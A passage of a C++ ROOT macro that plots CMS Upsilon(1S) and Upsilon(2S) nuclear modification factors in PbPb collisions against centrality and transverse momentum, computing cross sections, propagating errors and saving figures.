gcent1circle4->SetMarkerStyle(25);\n gcent1circle4->SetMarkerSize(1.2);\n gcent1circle4->SetLineColor(kBlack);\n gcent14->Draw(\"pe\");\n gcent1circle4->Draw(\"p\");\n f4->Draw(\"same\");\n gPad->RedrawAxis();\n //TGraphErrors RAA_1S_2011 (pt4)\n TGraphErrors *gcent2011syst = new TGraphErrors(nCentBins_2014-1,cent,RAA_1S_2011,centErr2014,RAA_1S_2011s);\n gcent2011syst->SetLineColor(kGreen+4);\n gcent2011syst->SetFillStyle(0);\n gcent2011syst->SetLineWidth(2);\n gcent2011syst->SetMarkerSize(0);\n // gcent2011syst->Draw(\"2\");\n TGraphErrors *gcent2011 = new TGraphErrors(nCentBins_2014-1,cent,RAA_1S_2011,centnoErr,RAA_1S_2011e);\n gcent2011->SetMarkerColor(kGreen+4);\n gcent2011->SetMarkerStyle(20);\n gcent2011->SetMarkerSize(1.2);\n TGraphErrors *gcent2011circle = new TGraphErrors(nCentBins_2014-1,cent,RAA_1S_2011,centnoErr,RAA_1S_2011e);\n gcent2011circle->SetMarkerStyle(24);\n gcent2011circle->SetMarkerSize(1.2);\n gcent2011circle->SetLineColor(kBlack);\n // gcent2011->Draw(\"pe\");\n // gcent2011circle->Draw(\"p\");\n f4->Draw(\"same\");\n gPad->RedrawAxis();\n }else{\n \n if(!FourBins){\n\t//TGraphErrors RAA_2S 2014 \n\tTGraphErrors *gcent2syst = new TGraphErrors(4,cent,RAA_2S_cent,centErr2014,RAA_2S_cents);\n\tgcent2syst->SetLineColor(color2Sraa);\n\tgcent2syst->SetFillStyle(0);\n\tgcent2syst->SetLineWidth(2);\n\tgcent2syst->SetMarkerSize(0);\n\tgcent2syst->Draw(\"2\");\n\tTGraphErrors *gcent2 = new TGraphErrors(4,cent,RAA_2S_cent,centnoErr,RAA_2S_cente);\n\tgcent2->SetMarkerColor(color2Sraa);\n\tgcent2->SetMarkerStyle(20);\n\tgcent2->SetMarkerSize(1.2);\n\tTGraphErrors *gcent2circle = new TGraphErrors(4,cent,RAA_2S_cent,centnoErr,RAA_2S_cente);\n\tgcent2circle->SetMarkerStyle(24);\n\tgcent2circle->SetMarkerSize(1.2);\n\tgcent2circle->SetLineColor(kBlack);\n\tgcent2->Draw(\"pe\");\n\tgcent2circle->Draw(\"p\");\n\tf4->Draw(\"same\");\n\tgPad->RedrawAxis();\n }\n else {\n\tTGraphErrors *gcent2 = new TGraphErrors(4,nPart2,RAA_2S_4bin,centnoErr,RAA_2S_4bine);\n\tgcent2->SetMarkerColor(color2Sraa);\n\tgcent2->SetMarkerStyle(20);\n\tgcent2->SetMarkerSize(1.2);\n\tTGraphErrors *gcent2syst = new TGraphErrors(4,nPart2,RAA_2S_4bin,centErr2014,RAA_2S_cents);\n\tgcent2syst->SetLineColor(color2Sraa);\n\tgcent2syst->SetFillStyle(0);\n\tgcent2syst->SetLineWidth(2);\n\tgcent2syst->SetMarkerSize(0);\n\tgcent2syst->Draw(\"2\");\n\tTGraphErrors *gcent2circle = new TGraphErrors(4,nPart2,RAA_2S_4bin,centnoErr,RAA_2S_4bine);\n\tgcent2circle->SetMarkerStyle(24);\n\tgcent2circle->SetMarkerSize(1.2);\n\tgcent2circle->SetLineColor(kBlack);\n\tgcent2->Draw(\"pe\");\n\tgcent2circle->Draw(\"p\");\n\tf4->Draw(\"same\");\n\tgPad->RedrawAxis();\n }\n }\n //legends\n // L^{pp}_{int}=5.4 /nb\n TLegend *leg = new TLegend(0.30,0.53,0.71,0.68);\n leg->SetBorderSize(0);\n leg->SetTextSize(gTextSize);\n leg->SetLineColor(1);\n leg->SetLineStyle(1);\n leg->SetLineWidth(0.4);\n leg->SetFillColor(0);\n leg->SetFillStyle(0);\n leg->AddEntry(gcent1,\"#varUpsilon(1S)\",\"pe\");\n if(!plotTight) leg->AddEntry(gcent2,\"#varUpsilon(2S) \",\"pe\");\n // Internal #sqrt{s_{NN}} = 2.76 TeV\n // if(!plotTight){ TLegendEntry *}\n // TLegendEntry *entry=leg->AddEntry(gcent1syst,\"#varUpsilon(1S)\",\"pe\");}\n if(plotTight){ TLegendEntry *entry=leg->AddEntry(gcent14,\"#varUpsilon(1S) tight\",\"pe\");\n // entry=leg->AddEntry(gcent2011,\"#varUpsilon(1S) 2011\",\"p\"); \n }\n\n\n leg->SetTextFont(42);\n leg->Draw();\n\n // |y| < 2.4\n TLatex latexrap;\n latexrap.SetTextSize(gTextSize);\n latexrap.SetTextFont(42);\n latexrap.DrawLatex(30,1.2,\"|y| < 2.4\");\n \n if(!plotTight){TBox *box1S = new TBox(370,1-syst1S_pp_centGlob,385,1+syst1S_pp_centGlob); // global(L_pp, tracking) + pp syst + pp tnp + pp genshape + pp stat + N_MB_e.\n box1S->SetFillColor(color1Sraa);\n box1S->Draw();\n cout << \"Syst1S_pp_cent_glob = \" << syst1S_pp_centGlob << endl;\n TBox *box2S = new TBox(385,1-syst2S_pp_centGlob4,400,1+syst2S_pp_centGlob4);\n box2S->SetFillColor(color2Sraa);\n box2S->Draw();\n cout << \"Syst2S_pp_cent_glob = \" << syst2S_pp_centGlob4 << endl;\n }\n if(plotTight){\n TBox *box1S4 = new TBox(385,1-syst2S_pp_centGlob4,400,1+syst2S_pp_centGlob4);\n box1S4->SetFillColor(kGreen+1);\n box1S4->Draw();\n TBox *box1S = new TBox(370,1-syst1S_pp_centGlob,385,1+syst1S_pp_centGlob);\n box1S->SetFillColor(color1Sraa);\n box1S->Draw();\n // TBox *box1S2011 = new TBox(385,1-RAA_1S_2011sg,400,1+RAA_1S_2011sg);\n // box1S2011->SetFillColor(kBlack);\n // box1S2011->Draw();\n }\n TLegend *leg2= new TLegend(0.58,0.53,0.74,0.68);\n leg2->SetBorderSize(0);\n leg2->SetTextSize(gTextSize);\n leg2->SetTextFont(42);\n leg2->SetLineColor(0);\n leg2->SetLineStyle(1);\n leg2->SetLineWidth(0.4);\n leg2->SetFillColor(0);\n leg2->SetFillStyle(0);\n if(!plotTight){ leg2->AddEntry(box1S,\"#varUpsilon(1S) global syst.\",\"f\");\n leg2->AddEntry(box2S,\"#varUpsilon(2S) global syst.\",\"f\");}\n if(plotTight){ leg2->AddEntry(box1S,\"#varUpsilon(1S) syst. unc. p_{T} > 3.5 + 4\",\"f\");\n // leg2->AddEntry(box1S2011,\"#varUpsilon(1S) 2011 global syst. 2011\",\"f\");}\n leg2->AddEntry(box1S4,\"#varUpsilon(1S) syst. unc. p_{T} > 4\",\"f\");}\n // leg2->Draw();\n // TBox *box = new TBox(385,0.864,400,1.136);\n\n // ci = TColor::GetColor(\"#99ff99\");\n // box->SetFillColor(ci);\n // box->Draw();\n\n //MB stuff\n\n if (doMB)\n {\n // padright->Draw();\n padright->cd();\n TF1 *f4right = new TF1(\"f4right\",\"1\",0.9,1.1);\n f4right->SetLineWidth(1);\n f4right->GetYaxis()->SetRangeUser(0.0,1.4);\n f4right->GetXaxis()->SetTitle(\"\");\n f4right->GetYaxis()->SetTitle(\"\");\n f4right->GetXaxis()->SetTickLength(0);\n f4right->GetYaxis()->SetTickLength(0);\n f4right->GetXaxis()->SetLabelSize(0);\n f4right->GetYaxis()->SetLabelSize(0);\n f4right->GetXaxis()->SetNdivisions(1,0,0,kFALSE);\n f4right->SetLineColor(kBlack);\n f4right->Draw();\n\n // 1S RAA\n cout << CS1S_pp_tot << \" +/- \" << CS1S_pp_tote << \" +/- \" << CS1S_pp_tots << endl;\n cout << CS1S_aa_tot << \" +/- \" << CS1S_aa_tote << \" +/- \" << CS1S_aa_tots << endl;\n cout << RAA_1S_tot << \" +/- \" << RAA_1S_tote << \" +/- \" << RAA_1S_tots << endl;\n float CS1S_pp_tot = N1S_pp_tot3p5/Aet_1S_pythia_tot/L_pp_invNb;\n cout << N1S_pp_tot3p5 << \"/\" << Aet_1S_pythia_tot << \"/\" << L_pp_invNb;\n float CS1S_pp_tote = CS1S_pp_tot\n *sqrt(pow(N1S_pp_tot3p5e/N1S_pp_tot3p5,2));\n float CS1S_pp_tots = CS1S_pp_tot\n *sqrt(pow(N1S_pp_tot3p5s,2)\n +pow(Aet_1S_pythia_tote/Aet_1S_pythia_tot,2)\n +pow(tracking_pp,2)\n +pow(L_pp_e,2));\n cout << CS1S_pp_tot << \" +/- \" << CS1S_pp_tote << \" +/- \" << CS1S_pp_tots << endl;\n float CS1S_AA_tot = N1S_aa_tot3p5/Aet_1S_pyquen_tot/N_MB_corr/T_AA_b;\n float CS1S_AA_tote = CS1S_AA_tot\n *sqrt(pow(N1S_aa_tot3p5e/N1S_aa_tot3p5,2));\n float CS1S_AA_tots = CS1S_AA_tot\n *sqrt(pow(N1S_aa_tot3p5s,2)\n +pow(Aet_1S_pyquen_tote/Aet_1S_pyquen_tot,2)\n +pow(tracking_aa,2)\n +pow(N_MB_e,2)\n +pow(T_AA_e,2));\n cout << CS1S_AA_tot << \" +/- \" << CS1S_AA_tote << \" +/- \" << CS1S_AA_tots << endl;\n float RAA_1S_tot = CS1S_AA_tot/CS1S_pp_tot;\n float RAA_1S_tote = RAA_1S_tot\n *sqrt(pow(CS1S_AA_tote/CS1S_AA_tot,2)\n +pow(CS1S_pp_tote/CS1S_pp_tot,2));\n float RAA_1S_tots = RAA_1S_tot\n *sqrt(pow(CS1S_AA_tots/CS1S_AA_tot,2)\n +pow(CS1S_pp_tots/CS1S_pp_tot,2));\n cout << RAA_1S_tot << \" +/- \" << RAA_1S_tote << \" +/- \" << RAA_1S_tots << endl;\n // 2S RAA\n cout << CS2S_pp_tot << \" +/- \" << CS2S_pp_tote << \" +/- \" << CS2S_pp_tots << endl;\n cout << CS2S_aa_tot << \" +/- \" << CS2S_aa_tote << \" +/- \" << CS2S_aa_tots << endl;\n cout << RAA_2S_tot << \" +/- \" << RAA_2S_tote << \" +/- \" << RAA_2S_tots << endl;\n float CS2S_pp_tot = N2S_pp_tot4/Aet_2S_pythia_tot/L_pp_invNb;\n float CS2S_pp_tote = CS2S_pp_tot\n *sqrt(pow(N2S_pp_tot4e/N2S_pp_tot4,2));\n float CS2S_pp_tots = CS2S_pp_tot\n *sqrt(pow(N2S_pp_tot4s,2)\n +pow(Aet_2S_pythia_tote/Aet_2S_pythia_tot,2)\n +pow(tracking_pp,2)\n +pow(L_pp_e,2));\n cout << CS2S_pp_tot << \" +/- \" << CS2S_pp_tote << \" +/- \" << CS2S_pp_tots << endl;\n float CS2S_AA_tot = N2S_aa_tot4/Aet_2S_pyquen_tot/N_MB_corr/T_AA_b;\n float CS2S_AA_tote = CS2S_AA_tot\n *sqrt(pow(N2S_aa_tot4e/N2S_aa_tot4,2));\n float CS2S_AA_tots = CS2S_AA_tot\n *sqrt(pow(N2S_aa_tot4s,2)\n +pow(Aet_2S_pyquen_tote/Aet_2S_pyquen_tot,2)\n +pow(tracking_aa,2)\n +pow(N_MB_e,2)\n +pow(T_AA_e,2));\n cout << N2S_aa_tot4s << \" \"\n << Aet_2S_pyquen_tote/Aet_2S_pyquen_tot << \" \"\n << tracking_aa << \" \"\n << N_MB_e << \" \"\n << T_AA_e << endl;\n cout << CS2S_AA_tot << \" +/- \" << CS2S_AA_tote << \" +/- \" << CS2S_AA_tots << endl;\n float RAA_2S_tot = CS2S_AA_tot/CS2S_pp_tot;\n float RAA_2S_tote = RAA_2S_tot\n *sqrt(pow(CS2S_AA_tote/CS2S_AA_tot,2)\n +pow(CS2S_pp_tote/CS2S_pp_tot,2));\n float RAA_2S_tots = RAA_2S_tot\n *sqrt(pow(CS2S_AA_tots/CS2S_AA_tot,2)\n +pow(CS2S_pp_tots/CS2S_pp_tot,2));\n cout << RAA_2S_tot << \" +/- \" << RAA_2S_tote << \" +/- \" << RAA_2S_tots << endl;\n\n\n\n\n padleft->cd();\n }\n else\n {\n c1->cd();\n }\n\n CMS_lumi(padleft,103,33);\n gPad->Update();\n gPad->RedrawAxis();\n gPad->GetFrame()->Draw();\n cout << __LINE__ << endl;\n if(plotTight){\n c1->SaveAs(basedir2 + TString(\"/RAA_nPart_Tight.pdf\"));\n c1->SaveAs(basedir1 + TString(\"/RAA_nPart_Tight.png\"));\n /// cout << \"CHANGE FILE NAME !?!?!?!?! \"<<endl;\n }else if(!FourBins)\n {\n\tc1->SaveAs(basedir2 + TString(\"/RAA_nPart.pdf\"));\n\tc1->SaveAs(basedir1 + TString(\"/RAA_nPart.png\"));\n\t/// cout << \"CHANGE FILE NAME!!!!!\" << endl;\n }\t\t\t\t\t\t\n else if (FourBins)\n {\n\tc1->SaveAs(basedir2 + TString(\"/RAA_nPart_4bins.pdf\"));\n\tc1->SaveAs(basedir1 + TString(\"/RAA_nPart_4bins.png\"));\n }\n }\n //=========Macro generated from canvas: c1/c1\n //========= (Mon Apr 28 03:36:31 2014) by ROOT version5.34/02\n if(plotRAA){continue;\n \n \n TGraphErrors *gre = new TGraphErrors(7);\n // gre->SetName(\"Graph\");\n // gre->SetTitle(\"Graph\");\n gre->SetFillColor(1);\n\n Int_t ci; // for color index setting\n ci = TColor::GetColor(\"#99ff99\");\n gre->SetLineColor(ci);\n gre->SetLineWidth(25);\n gre->SetMarkerStyle(20);\n gre->SetMarkerSize(0);\n gre->SetPoint(0,22.1,1.005);\n gre->SetPointError(0,0,0.176);\n gre->SetPoint(1,86.3,0.59);\n gre->SetPointError(1,0,0.086);\n gre->SetPoint(2,130,0.681);\n gre->SetPointError(2,0,0.085);\n gre->SetPoint(3,187.1,0.614);\n gre->SetPointError(3,0,0.075);\n gre->SetPoint(4,261.4,0.484);\n gre->SetPointError(4,0,0.049);\n gre->SetPoint(5,329.4,0.432);\n gre->SetPointError(5,0,0.046);\n gre->SetPoint(6,381.3,0.411);\n gre->SetPointError(6,0,0.048);\n \n TH1F *Graph_Graph1 = new TH1F(\"Graph_Graph1\",\"Graph_Graph1\",100,0,417.22);\n // Graph_Graph1->SetMinimum(0.2812);\n // Graph_Graph1->SetMaximum(1.2628);\n Graph_Graph1->SetDirectory(0);\n Graph_Graph1->SetStats(0);\n Graph_Graph1->SetMarkerStyle(20);\n Graph_Graph1->SetMarkerSize(0.8);\n Graph_Graph1->GetXaxis()->SetLabelFont(42);\n Graph_Graph1->GetXaxis()->SetTitleSize(0.048);\n Graph_Graph1->GetXaxis()->SetTitleOffset(1.15);\n Graph_Graph1->GetXaxis()->SetTitleFont(42);\n Graph_Graph1->GetYaxis()->SetLabelFont(42);\n Graph_Graph1->GetYaxis()->SetTitleSize(0.048);\n Graph_Graph1->GetYaxis()->SetTitleOffset(1.2);\n Graph_Graph1->GetYaxis()->SetTitleFont(42);\n Graph_Graph1->GetZaxis()->SetLabelFont(42);\n Graph_Graph1->GetZaxis()->SetTitleSize(0.048);\n Graph_Graph1->GetZaxis()->SetTitleFont(42);\n gre->SetHistogram(Graph_Graph1);\n \n gre->Draw(\"e\");\n \n gre = new TGraphErrors(7);\n gre->SetName(\"Graph_Graph1\");\n gre->SetTitle(\"Graph_Graph1\");\n gre->SetFillColor(1);\n\n ci = TColor::GetColor(\"#009900\");\n gre->SetMarkerColor(ci);\n gre->SetMarkerStyle(33);\n gre->SetMarkerSize(2);\n gre->SetPoint(0,20.1,1.005);\n gre->SetPointError(0,0,0.121);\n gre->SetPoint(1,84.3,0.59);\n gre->SetPointError(1,0,0.096);\n gre->SetPoint(2,128,0.681);\n gre->SetPointError(2,0,0.069);\n gre->SetPoint(3,185.1,0.614);\n gre->SetPointError(3,0,0.053);\n gre->SetPoint(4,259.4,0.484);\n gre->SetPointError(4,0,0.04);\n gre->SetPoint(5,327.4,0.432);\n gre->SetPointError(5,0,0.048);\n gre->SetPoint(6,379.3,0.411);\n gre->SetPointError(6,0,0.043);\n \n TH1F *Graph_Graph2 = new TH1F(\"Graph_Graph2\",\"Graph_Graph2\",100,0,417.22);\n // Graph_Graph2->SetMinimum(0.2922);\n // Graph_Graph2->SetMaximum(1.6);\n Graph_Graph2->SetDirectory(0);\n Graph_Graph2->SetStats(0);\n Graph_Graph2->SetMarkerStyle(20);\n Graph_Graph2->SetMarkerSize(0.8);\n Graph_Graph2->GetXaxis()->SetLabelFont(42);\n Graph_Graph2->GetXaxis()->SetTitleSize(0.048);\n Graph_Graph2->GetXaxis()->SetTitleOffset(1.15);\n Graph_Graph2->GetXaxis()->SetTitleFont(42);\n Graph_Graph2->GetYaxis()->SetLabelFont(42);\n Graph_Graph2->GetYaxis()->SetTitleSize(0.048);\n Graph_Graph2->GetYaxis()->SetTitleOffset(1.2);\n Graph_Graph2->GetYaxis()->SetTitleFont(42);\n Graph_Graph2->GetZaxis()->SetLabelFont(42);\n Graph_Graph2->GetZaxis()->SetTitleSize(0.048);\n Graph_Graph2->GetZaxis()->SetTitleFont(42);\n gre->SetHistogram(Graph_Graph2);\n \n gre->Draw(\"pe\");\n \n gre = new TGraphErrors(7);\n gre->SetName(\"Graph_Graph2\");\n gre->SetTitle(\"Graph_Graph2\");\n gre->SetFillColor(1);\n gre->SetMarkerStyle(27);\n gre->SetMarkerSize(2);\n gre->SetPoint(0,20.1,1.005);\n gre->SetPointError(0,0,0.121);\n gre->SetPoint(1,84.3,0.59);\n gre->SetPointError(1,0,0.096);\n gre->SetPoint(2,128,0.681);\n gre->SetPointError(2,0,0.069);\n gre->SetPoint(3,185.1,0.614);\n gre->SetPointError(3,0,0.053);\n gre->SetPoint(4,259.4,0.484);\n gre->SetPointError(4,0,0.04);\n gre->SetPoint(5,327.4,0.432);\n gre->SetPointError(5,0,0.048);\n gre->SetPoint(6,379.3,0.411);\n gre->SetPointError(6,0,0.043);\n \n TH1F *Graph_Graph3 = new TH1F(\"Graph_Graph3\",\"Graph_Graph3\",100,0,417.22);\n // Graph_Graph3->SetMinimum(0.2922);\n // Graph_Graph3->SetMaximum(1.2018);\n Graph_Graph3->SetDirectory(0);\n Graph_Graph3->SetStats(0);\n Graph_Graph3->SetMarkerStyle(20);\n Graph_Graph3->SetMarkerSize(0.8);\n Graph_Graph3->GetXaxis()->SetLabelFont(42);\n Graph_Graph3->GetXaxis()->SetTitleSize(0.048);\n Graph_Graph3->GetXaxis()->SetTitleOffset(1.15);\n Graph_Graph3->GetXaxis()->SetTitleFont(42);\n Graph_Graph3->GetYaxis()->SetLabelFont(42);\n Graph_Graph3->GetYaxis()->SetTitleSize(0.048);\n Graph_Graph3->GetYaxis()->SetTitleOffset(1.2);\n Graph_Graph3->GetYaxis()->SetTitleFont(42);\n Graph_Graph3->GetZaxis()->SetLabelFont(42);\n Graph_Graph3->GetZaxis()->SetTitleSize(0.048);\n Graph_Graph3->GetZaxis()->SetTitleFont(42);\n gre->SetHistogram(Graph_Graph3);\n \n gre->Draw(\"p\");\n \n gre = new TGraphErrors(3);\n gre->SetName(\"Graph_Graph3\");\n gre->SetTitle(\"Graph_Graph3\");\n gre->SetFillColor(1);\n\n ci = TColor::GetColor(\"#ff99ff\");\n gre->SetLineColor(ci);\n gre->SetLineWidth(25);\n gre->SetMarkerStyle(20);\n gre->SetMarkerSize(0);\n gre->SetPoint(0,64.2184,0.677);\n gre->SetPointError(0,0,0.107);\n gre->SetPoint(1,261.4178,0.842);\n gre->SetPointError(1,0,0.13);\n gre->SetPoint(2,355.3528,0.454);\n gre->SetPointError(2,0,0.079);\n \n\n \n \n\n TBox *box = new TBox(385,0.864,400,1.136);\n\n ci = TColor::GetColor(\"#99ff99\");\n box->SetFillColor(ci);\n box->Draw();\n\n \n TF1 *f4 = new TF1(\"f4\",\"1\",0,400);\n f4->SetFillColor(19);\n f4->SetFillStyle(0);\n f4->SetMarkerStyle(20);\n f4->SetMarkerSize(0.8);\n f4->SetLineWidth(1);\n f4->GetXaxis()->SetTitle(\"N_{part}\");\n f4->GetXaxis()->CenterTitle(true);\n f4->GetXaxis()->SetLabelFont(42);\n f4->GetXaxis()->SetTitleSize(0.048);\n f4->GetXaxis()->SetTitleOffset(1.15);\n f4->GetXaxis()->SetTitleFont(42);\n f4->GetYaxis()->SetTitle(\"R_{AA}\");\n f4->GetYaxis()->SetLabelFont(42);\n f4->GetYaxis()->SetTitleSize(0.048);\n f4->GetYaxis()->SetTitleFont(42);\n f4->Draw(\"same\");\n \n TH1F *Graph = new TH1F(\"Graph\",\"Graph\",100,0,417.22);\n // Graph->SetMinimum(0.2812);\n // Graph->SetMaximum(1.2628);\n Graph->SetDirectory(0);\n Graph->SetStats(0);\n Graph->SetMarkerStyle(20);\n Graph->SetMarkerSize(0.8);\n Graph->GetXaxis()->SetLabelFont(42);\n Graph->GetXaxis()->SetTitleSize(0.048);\n Graph->GetXaxis()->SetTitleOffset(1.15);\n Graph->GetXaxis()->SetTitleFont(42);\n Graph->GetYaxis()->SetLabelFont(42);\n Graph->GetYaxis()->SetTitleSize(0.048);\n Graph->GetYaxis()->SetTitleOffset(1.2);\n Graph->GetYaxis()->SetTitleFont(42);\n Graph->GetZaxis()->SetLabelFont(42);\n Graph->GetZaxis()->SetTitleSize(0.048);\n Graph->GetZaxis()->SetTitleFont(42);\n Graph->Draw(\"sameaxis\");\n TLatex * tex = new TLatex(170,1.45,\"CMS PbPb #sqrt{s_{NN}} = 2.76 TeV\");\n tex->SetTextSize(0.04);\n tex->SetTextFont(42);\n tex->SetLineWidth(2);\n tex->Draw();\n \n\n //x axis for old points is good-2.\n TGraphErrors *gre = new TGraphErrors(7);\n gre->SetName(\"Graph\");\n gre->SetTitle(\"Graph\");\n gre->SetFillColor(1);\n\n gre = new TGraphErrors(7);\n gre->SetName(\"Graph_2S\");\n gre->SetTitle(\"Graph_2S\");\n gre->SetFillColor(1);\n gre->SetMarkerStyle(24);\n gre->SetMarkerSize(1.2);\n gre->SetPoint(0,20.1,0.3);\n gre->SetPointError(0,0,0.157);\n gre->SetPoint(1,84.3,0.251);\n gre->SetPointError(1,0,0.138);\n gre->SetPoint(2,128,0.237);\n gre->SetPointError(2,0,0.098);\n gre->SetPoint(3,185.1,0.26);\n gre->SetPointError(3,0,0.079);\n gre->SetPoint(4,259.4,0.068);\n gre->SetPointError(4,0,0.053);\n gre->SetPoint(5,327.4,0.044);\n gre->SetPointError(5,0,0.06);\n gre->SetPoint(6,379.3,0.111);\n gre->SetPointError(6,0,0.061);\n \n TH1F *Graph_Graph6 = new TH1F(\"Graph_Graph6\",\"Graph\",100,0,417.22);\n Graph_Graph6->SetMinimum(-0.0633);\n Graph_Graph6->SetMaximum(0.5043);\n Graph_Graph6->SetDirectory(0);\n Graph_Graph6->SetStats(0);\n Graph_Graph6->SetMarkerStyle(20);\n Graph_Graph6->SetMarkerSize(0.8);\n Graph_Graph6->GetXaxis()->SetLabelFont(42);\n Graph_Graph6->GetXaxis()->SetTitleSize(0.048);\n Graph_Graph6->GetXaxis()->SetTitleOffset(1.15);\n Graph_Graph6->GetXaxis()->SetTitleFont(42);\n Graph_Graph6->GetYaxis()->SetLabelFont(42);\n Graph_Graph6->GetYaxis()->SetTitleSize(0.048);\n Graph_Graph6->GetYaxis()->SetTitleOffset(1.2);\n Graph_Graph6->GetYaxis()->SetTitleFont(42);\n Graph_Graph6->GetZaxis()->SetLabelFont(42);\n Graph_Graph6->GetZaxis()->SetTitleSize(0.048);\n Graph_Graph6->GetZaxis()->SetTitleFont(42);\n gre->SetHistogram(Graph_Graph6);\n gre->GetYaxis()->SetRangeUser(0,1.8);\n gre->Draw(\"p\");\n \n \n entry=leg->AddEntry(\"Graph_Graph1\",\"#varUpsilon(1S) L^{pp}_{int}=231 /nb, p_{T}^{#mu} > 4 GeV\",\"p\");\n entry->SetLineColor(1);\n entry->SetLineStyle(1);\n entry->SetLineWidth(1);\n\n ci = TColor::GetColor(\"#cc00cc\");\n entry->SetMarkerColor(ci);\n entry->SetMarkerStyle(20);\n entry->SetMarkerSize(1.2);\n\n entry=leg->AddEntry(\"Graph_2S\",\"#varUpsilon(2S)\",\"p\");\n entry->SetLineColor(1);\n entry->SetLineStyle(1);\n entry->SetLineWidth(3);\n\n leg->Draw();\n\n\n\n }\n //ofSyst.close();\n\n}\n//only for 1S - > uncorrected RAA\nvoid plotRAA_uncorr(){\n\n float pt [nPtBins_2013] = {1.25, 3.75, 6.5, 10., 16.};\n float pte[nPtBins_2013] = {1.25, 1.25, 1.5, 2., 4.};\n float deltaPt[nPtBins_2013] = {2.5,2.5,3,4,8};\n \n float deltaRapEven[nRapBins_2014] = {0.8,0.8,0.8,0.8,0.8,0.8};\n\n float uncorrRAA_1S_pt[nPtBins_2013] = {};\n float uncorrRAA_1S_pte[nPtBins_2013] = {};\n float uncorrRAA_1S_ptU[nPtBins_2013] = {};\n float uncorrRAA_1S_pteU[nPtBins_2013] = {};\n float uncorrRAA_1S_rap2014[nPtBins_2013] = {};\n float uncorrRAA_1S_rap2014e[nPtBins_2013] = {};\n float CS1S_pp_pt[nPtBins_2013] = {};\n float CS1S_pp_pte[nPtBins_2013] = {};\n float CS1S_pp_ptU[nPtBins_2013] = {};\n float CS1S_pp_pteU[nPtBins_2013] = {};\n float CS1S_pp_rap2014[nRapBins_2014] = {};\n float CS1S_pp_rap2014e[nRapBins_2014] = {};\n\n float CS1S_aa_pt[nPtBins_2013] = {};\n float CS1S_aa_pte[nPtBins_2013] = {};\n\n float CS1S_aa_ptU[nPtBins_2013] = {};\n float CS1S_aa_pteU[nPtBins_2013] = {};\n float CS1S_aa_rap2014[nRapBins_2014] = {};\n float CS1S_aa_rap2014e[nRapBins_2014] = {};\n\n\n if (plotUncorrected){\n\n for(int i=0; i<nRapBins_2014;i++)\n\t{\n\t CS1S_aa_rap2014[i]=N1S_aa_rap3p5_2014[i]/(N_MB_corr * T_AA_b * deltaRapEven[i]);\n\t CS1S_aa_rap2014e[i]=N1S_aa_rap3p5_2014e[i]/(N_MB_corr * T_AA_b * deltaRapEven[i]);\n\t CS1S_pp_rap2014[i]=N1S_pp_rap3p5_2014[i]/(L_pp_invNb*deltaRapEven[i]);\n\t CS1S_pp_rap2014e[i]=N1S_pp_rap3p5_2014e[i]/(L_pp_invNb*deltaRapEven[i]);\n\t uncorrRAA_1S_rap2014[i]=computeRatio(CS1S_aa_rap2014[i] , CS1S_pp_rap2014[i]);\n\t uncorrRAA_1S_rap2014e[i]=computeRatioError(CS1S_aa_rap2014[i],CS1S_pp_rap2014[i], CS1S_aa_rap2014e[i], CS1S_pp_rap2014e[i]);\n\t}\n\n for(int i = 0; i<nPtBins_2013 ; i++)\n\t{\n\t CS1S_pp_pt[i]=N1S_pp_pt3p5[i]/(L_pp_invNb*deltaPt[i]*RapBinWidth);\n\t CS1S_pp_pte[i]=N1S_pp_pt3p5e[i]/(L_pp_invNb*deltaPt[i]*RapBinWidth);\n\t CS1S_aa_pt[i]=N1S_aa_pt3p5[i]/(N_MB_corr * T_AA_b * deltaPt[i]*RapBinWidth);\n\t CS1S_aa_pte[i]=N1S_aa_pt3p5e[i]/(N_MB_corr * T_AA_b * deltaPt[i]*RapBinWidth);\n \n\t CS1S_pp_ptU[i]=N1S_pp_pt3p5U[i]/(L_pp_invNb*deltaPt[i]);\n\t CS1S_pp_pteU[i]=N1S_pp_pt3p5eU[i]/(L_pp_invNb*deltaPt[i]);\n\t CS1S_aa_ptU[i]=N1S_aa_pt3p5U[i]/(N_MB_corr * T_AA_b * deltaPt[i]);\n\t CS1S_aa_pteU[i]=N1S_aa_pt3p5eU[i]/(N_MB_corr * T_AA_b * deltaPt[i]);\n \n\t uncorrRAA_1S_pt[i]=computeRatio(CS1S_aa_pt[i] , CS1S_pp_pt[i]);\n\t uncorrRAA_1S_pte[i]=computeRatioError(CS1S_aa_pt[i],CS1S_pp_pt[i], CS1S_aa_pte[i], CS1S_pp_pte[i]);\n\t uncorrRAA_1S_ptU[i]=computeRatio(CS1S_aa_ptU[i] , CS1S_pp_ptU[i]);\n\t uncorrRAA_1S_pteU[i]=computeRatioError(CS1S_aa_ptU[i],CS1S_pp_ptU[i], CS1S_aa_pteU[i], CS1S_pp_pteU[i]);\n\t}\n \n //drawing cross sections\n\n TCanvas *cptu = new TCanvas(\"cptu\",\"cptu\"); \n cptu->cd();\n TPad *ppt1 = new TPad(\"ppt1\",\"ppt1\",0.0,0.0,1.0,1.0);\n ppt1->SetBottomMargin(0.12);\n ppt1->SetTopMargin(0.03);\n ppt1->SetRightMargin(0.03);\n ppt1->SetLeftMargin(0.16);\n ppt1->SetLogy();\n ppt1->Draw();\n ppt1->cd();\n TF1 *f4Pt = new TF1(\"f4Pt\",\"0.000000001\",0,21);\n f4Pt->SetLineWidth(0);\n f4Pt->GetYaxis()->SetTitleOffset(2);\n f4Pt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\t\t\n f4Pt->GetYaxis()->SetTitle(\"#frac{1}{L_{pp,PbPb}}#frac{dN}{dp_{T}} (b/(GeV/c))\");\n\n\n f4Pt->GetYaxis()->SetTitleSize(0.028);\n //f4Pt->GetYaxis()->SetRangeUser(0.01,.09);\n f4Pt->GetXaxis()->CenterTitle(kTRUE);\n f4Pt->Draw();\n //one pad to draw PbPb yields,\n TGraphErrors *gpt1 = new TGraphErrors(nPtBins_2013,pt,CS1S_aa_pt,pte,CS1S_aa_pte);\n gpt1->SetMarkerColor(8);\n gpt1->SetMarkerStyle(33);\n gpt1->SetMarkerSize(2);\n\n\n\n TGraphErrors *gpt1circle = new TGraphErrors(nPtBins_2013,pt,CS1S_aa_pt,pte,CS1S_aa_pte);\n gpt1circle->SetMarkerStyle(27);\n gpt1circle->SetMarkerSize(2);\n gpt1circle->SetLineColor(kBlack);\n gpt1->Draw(\"pe\");\n gpt1circle->Draw(\"p\");\n f4Pt->Draw(\"same\");\n gPad->RedrawAxis();\n \n TGraphErrors *gpt1pp = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_pt,pte,CS1S_pp_pte);\n 